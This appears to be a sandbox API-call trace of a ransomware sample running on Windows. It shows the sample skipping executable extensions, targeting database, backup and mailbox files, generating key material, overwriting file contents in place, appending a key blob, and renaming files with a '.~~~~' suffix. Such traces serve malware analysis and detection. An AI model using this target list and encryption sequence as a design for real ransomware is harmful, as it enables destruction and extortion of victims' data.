	[0079.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".cmd") returned 0x0
	[0079.122] lstrlenW (lpString=".dll") returned 4
	[0079.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".dll") returned 0x0
	[0079.122] lstrlenW (lpString=".bat") returned 4
	[0079.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".bat") returned 0x0
	[0079.122] lstrlenW (lpString=".cpl") returned 4
	[0079.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".cpl") returned 0x0
	[0079.122] lstrlenW (lpString=".sys") returned 4
	[0079.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".sys") returned 0x0
	[0079.122] lstrlenW (lpString=".msc") returned 4
	[0079.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".msc") returned 0x0
	[0079.122] lstrlenW (lpString=".com") returned 4
	[0079.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".com") returned 0x0
	[0079.123] lstrlenW (lpString=".lnk") returned 4
	[0079.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".lnk") returned 0x0
	[0079.123] lstrlenW (lpString=".msp") returned 4
	[0079.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".msp") returned 0x0
	[0079.123] lstrlenW (lpString=".pif") returned 4
	[0079.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".pif") returned 0x0
	[0079.123] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0079.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0079.123] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0079.124] lstrlenW (lpString=".sqb") returned 4
	[0079.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".sqb") returned 0x0
	[0079.124] lstrlenW (lpString=".ost") returned 4
	[0079.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".ost") returned 0x0
	[0079.124] lstrlenW (lpString=".txt") returned 4
	[0079.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".txt") returned 0x0
	[0079.124] lstrlenW (lpString=".mdt") returned 4
	[0079.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".mdt") returned 0x0
	[0079.125] lstrlenW (lpString=".BDB") returned 4
	[0079.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".BDB") returned 0x0
	[0079.125] lstrlenW (lpString=".eql") returned 4
	[0079.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".eql") returned 0x0
	[0079.125] lstrlenW (lpString=".DBF") returned 4
	[0079.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".DBF") returned 0x0
	[0079.125] lstrlenW (lpString=".EQL") returned 4
	[0079.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".EQL") returned 0x0
	[0079.125] lstrlenW (lpString=".FDB") returned 4
	[0079.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".FDB") returned 0x0
	[0079.125] lstrlenW (lpString=".EDB") returned 4
	[0079.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".EDB") returned 0x0
	[0079.125] lstrlenW (lpString=".DACPAC") returned 7
	[0079.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".DACPAC") returned 0x0
	[0079.125] lstrlenW (lpString=".VHD") returned 4
	[0079.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".VHD") returned 0x0
	[0079.125] lstrlenW (lpString=".DBV") returned 4
	[0079.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".DBV") returned 0x0
	[0079.125] lstrlenW (lpString=".dacpac") returned 7
	[0079.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".dacpac") returned 0x0
	[0079.125] lstrlenW (lpString=".sdf") returned 4
	[0079.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".sdf") returned 0x0
	[0079.125] lstrlenW (lpString=".accdb") returned 6
	[0079.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".accdb") returned 0x0
	[0079.125] lstrlenW (lpString=".DBX") returned 4
	[0079.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".DBX") returned 0x0
	[0079.125] lstrlenW (lpString=".MDT") returned 4
	[0079.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".MDT") returned 0x0
	[0079.126] lstrlenW (lpString=".SQB") returned 4
	[0079.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".SQB") returned 0x0
	[0079.126] lstrlenW (lpString=".vhd") returned 4
	[0079.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".vhd") returned 0x0
	[0079.126] lstrlenW (lpString=".bac") returned 4
	[0079.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".bac") returned 0x0
	[0079.126] lstrlenW (lpString=".mdf") returned 4
	[0079.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".mdf") returned 0x0
	[0079.126] lstrlenW (lpString=".BAK") returned 4
	[0079.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".BAK") returned 0x0
	[0079.126] lstrlenW (lpString=".BAC") returned 4
	[0079.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".BAC") returned 0x0
	[0079.126] lstrlenW (lpString=".dbs") returned 4
	[0079.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".dbs") returned 0x0
	[0079.126] lstrlenW (lpString=".vhdx") returned 5
	[0079.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".vhdx") returned 0x0
	[0079.126] lstrlenW (lpString=".NDF") returned 4
	[0079.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".NDF") returned 0x0
	[0079.126] lstrlenW (lpString=".dat") returned 4
	[0079.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".dat") returned 0x0
	[0079.126] lstrlenW (lpString=".DBS") returned 4
	[0079.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".DBS") returned 0x0
	[0079.126] lstrlenW (lpString=".CKP") returned 4
	[0079.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".CKP") returned 0x0
	[0079.126] lstrlenW (lpString=".edb") returned 4
	[0079.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".edb") returned 0x0
	[0079.127] lstrlenW (lpString=".PST") returned 4
	[0079.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".PST") returned 0x0
	[0079.127] lstrlenW (lpString=".dbf") returned 4
	[0079.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".dbf") returned 0x0
	[0079.127] lstrlenW (lpString=".SQL") returned 4
	[0079.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".SQL") returned 0x0
	[0079.127] lstrlenW (lpString=".pst") returned 4
	[0079.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".pst") returned 0x0
	[0079.127] lstrlenW (lpString=".dbv") returned 4
	[0079.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".dbv") returned 0x0
	[0079.127] lstrlenW (lpString=".SDF") returned 4
	[0079.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".SDF") returned 0x0
	[0079.127] lstrlenW (lpString=".dtxs") returned 5
	[0079.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".dtxs") returned 0x0
	[0079.127] lstrlenW (lpString=".db3") returned 4
	[0079.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".db3") returned 0x0
	[0079.127] lstrlenW (lpString=".OST") returned 4
	[0079.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".OST") returned 0x0
	[0079.127] lstrlenW (lpString=".dbx") returned 4
	[0079.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".dbx") returned 0x0
	[0079.127] lstrlenW (lpString=".DB3") returned 4
	[0079.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".DB3") returned 0x0
	[0079.127] lstrlenW (lpString=".DAT") returned 4
	[0079.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".DAT") returned 0x0
	[0079.127] lstrlenW (lpString=".VHDX") returned 5
	[0079.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".VHDX") returned 0x0
	[0079.128] lstrlenW (lpString=".ndf") returned 4
	[0079.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".ndf") returned 0x0
	[0079.128] lstrlenW (lpString=".DB") returned 3
	[0079.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".DB") returned 0x0
	[0079.128] lstrlenW (lpString=".sql") returned 4
	[0079.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".sql") returned 0x0
	[0079.128] lstrlenW (lpString=".MYD") returned 4
	[0079.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".MYD") returned 0x0
	[0079.128] lstrlenW (lpString=".DBT") returned 4
	[0079.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".DBT") returned 0x0
	[0079.128] lstrlenW (lpString=".ACCDB") returned 6
	[0079.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".ACCDB") returned 0x0
	[0079.128] lstrlenW (lpString=".fdb") returned 4
	[0079.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".fdb") returned 0x0
	[0079.128] lstrlenW (lpString=".bak") returned 4
	[0079.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".bak") returned 0x0
	[0079.128] lstrlenW (lpString=".myd") returned 4
	[0079.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".myd") returned 0x0
	[0079.128] lstrlenW (lpString=".DTXS") returned 5
	[0079.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".DTXS") returned 0x0
	[0079.128] lstrlenW (lpString=".ckp") returned 4
	[0079.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".ckp") returned 0x0
	[0079.128] lstrlenW (lpString=".dbt") returned 4
	[0079.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".dbt") returned 0x0
	[0079.128] lstrlenW (lpString=".db") returned 3
	[0079.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".db") returned 0x0
	[0079.128] lstrlenW (lpString=".TXT") returned 4
	[0079.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".TXT") returned 0x0
	[0079.129] lstrlenW (lpString=".MDF") returned 4
	[0079.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".MDF") returned 0x0
	[0079.129] lstrlenW (lpString=".bdb") returned 4
	[0079.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".bdb") returned 0x0
	[0079.129] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0079.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0079.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0079.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0079.129] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0079.130] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0079.130] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0079.130] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0079.130] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0079.130] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0079.130] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19912024947) returned 1
	[0079.130] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9905bc50, dwHighDateTime=0x1d60e1e)) 
	[0079.130] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0079.130] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0079.130] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0079.130] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e0a0
	[0079.130] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0079.130] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e0a0 | out: hHeap=0x300000) returned 1
	[0079.130] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0079.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0079.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f49a0
	[0079.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0079.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0079.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f49a0 | out: hHeap=0x300000) returned 1
	[0079.131] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0079.131] GetLastError () returned 0x0
	[0079.131] GetLastError () returned 0x0
	[0079.131] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0079.131] GetLastError () returned 0x0
	[0079.131] GetLastError () returned 0x0
	[0079.229] ReadFile (in: hFile=0x120, lpBuffer=0x283dfe0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.260] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0079.260] WriteFile (in: hFile=0x120, lpBuffer=0x283dfe0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283dfe0 | out: hHeap=0x300000) returned 1
	[0079.261] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.261] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0079.265] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0079.265] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0079.265] CloseHandle (hObject=0x120) returned 1
	[0079.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6b50
	[0079.265] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.~~~~")) returned 1
	[0079.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6b50 | out: hHeap=0x300000) returned 1
	[0079.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0079.266] GetLastError () returned 0x0
	[0079.266] RtlWakeConditionVariable () returned 0x365f70
	[0079.266] GetCurrentThreadId () returned 0x3a4
	[0079.267] GetCurrentThreadId () returned 0x3a4
	[0079.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6b50
	[0079.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6fb8 | out: hHeap=0x300000) returned 1
	[0079.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b5d0 | out: hHeap=0x300000) returned 1
	[0079.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6fb8
	[0079.267] lstrlenW (lpString=".scr") returned 4
	[0079.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".scr") returned 0x0
	[0079.267] lstrlenW (lpString=".cmd") returned 4
	[0079.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".cmd") returned 0x0
	[0079.267] lstrlenW (lpString=".dll") returned 4
	[0079.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".dll") returned 0x0
	[0079.267] lstrlenW (lpString=".bat") returned 4
	[0079.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".bat") returned 0x0
	[0079.267] lstrlenW (lpString=".cpl") returned 4
	[0079.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".cpl") returned 0x0
	[0079.267] lstrlenW (lpString=".sys") returned 4
	[0079.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".sys") returned 0x0
	[0079.267] lstrlenW (lpString=".msc") returned 4
	[0079.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".msc") returned 0x0
	[0079.267] lstrlenW (lpString=".com") returned 4
	[0079.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".com") returned 0x0
	[0079.267] lstrlenW (lpString=".lnk") returned 4
	[0079.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".lnk") returned 0x0
	[0079.268] lstrlenW (lpString=".msp") returned 4
	[0079.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".msp") returned 0x0
	[0079.268] lstrlenW (lpString=".pif") returned 4
	[0079.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".pif") returned 0x0
	[0079.268] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0079.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0079.268] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0079.268] lstrlenW (lpString=".sqb") returned 4
	[0079.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".sqb") returned 0x0
	[0079.269] lstrlenW (lpString=".ost") returned 4
	[0079.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".ost") returned 0x0
	[0079.269] lstrlenW (lpString=".txt") returned 4
	[0079.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".txt") returned 0x0
	[0079.269] lstrlenW (lpString=".mdt") returned 4
	[0079.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".mdt") returned 0x0
	[0079.269] lstrlenW (lpString=".BDB") returned 4
	[0079.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".BDB") returned 0x0
	[0079.269] lstrlenW (lpString=".eql") returned 4
	[0079.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".eql") returned 0x0
	[0079.269] lstrlenW (lpString=".DBF") returned 4
	[0079.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".DBF") returned 0x0
	[0079.269] lstrlenW (lpString=".EQL") returned 4
	[0079.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".EQL") returned 0x0
	[0079.269] lstrlenW (lpString=".FDB") returned 4
	[0079.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".FDB") returned 0x0
	[0079.269] lstrlenW (lpString=".EDB") returned 4
